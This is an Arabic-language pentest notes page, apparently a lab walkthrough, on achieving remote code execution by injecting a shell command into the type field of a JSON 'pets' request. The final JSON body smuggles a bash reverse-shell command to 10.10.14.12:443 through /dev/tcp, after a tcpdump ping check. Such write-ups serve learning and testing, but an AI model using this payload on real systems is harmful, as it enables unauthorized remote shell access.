> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE عبر JSON

<figure><img src="/files/46e42fbc42f0e8d589283465eee42c93781626f3" alt=""><figcaption></figcaption></figure>

لدينا إمكانية إضافة "pets" مع أنواعها، وهذا يتيح حقن JSON.

<figure><img src="/files/1aaaa0694843c1f353247bf2f154f099ca0d124a" alt=""><figcaption></figcaption></figure>

نقوم باعتراض الطلبات باستخدام Burp Suite ونحاول التلاعب بالطلب بإضافة مدخل باسم والنوع:

<figure><img src="/files/913463658b77ef5d730b6e1bd53119cbbf914ae7" alt=""><figcaption></figcaption></figure>

يتم تفسير هذا المدخل، مما يتيح حقنًا.

```json
{
    "الاسم": "jordan",
    "النوع": "jordan"
}

```

<figure><img src="/files/fa7361bc32f56119f62fbc1fb02f2cb8d5e37f0b" alt=""><figcaption></figcaption></figure>

نقوم بإعداد مستمع لتعقّب حزم ICMP لمراقبة الاتصالات واختبار حقن الأوامر:

```bash
sudo tcpdump -i tun0 icmp

```

نتلقى رد ping، مما يؤكد إمكانية تنفيذ أوامر عن بُعد.

<figure><img src="/files/9d31a7301a511e3a633ad278457c45bde3bbd096" alt=""><figcaption></figcaption></figure>

ثم نرسل استعلامًا باستخدام `curl` إلى خادم Python الخاص بنا ونتلقى أيضًا استعلامًا، مما يؤكد ثغرة تنفيذ التعليمات البرمجية عن بُعد.

```bash
{
    "الاسم": "jordan",
    "النوع": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/d8b77e997cd694011b7836dd9451841b05e0c806" alt="" width="502"><figcaption></figcaption></figure>


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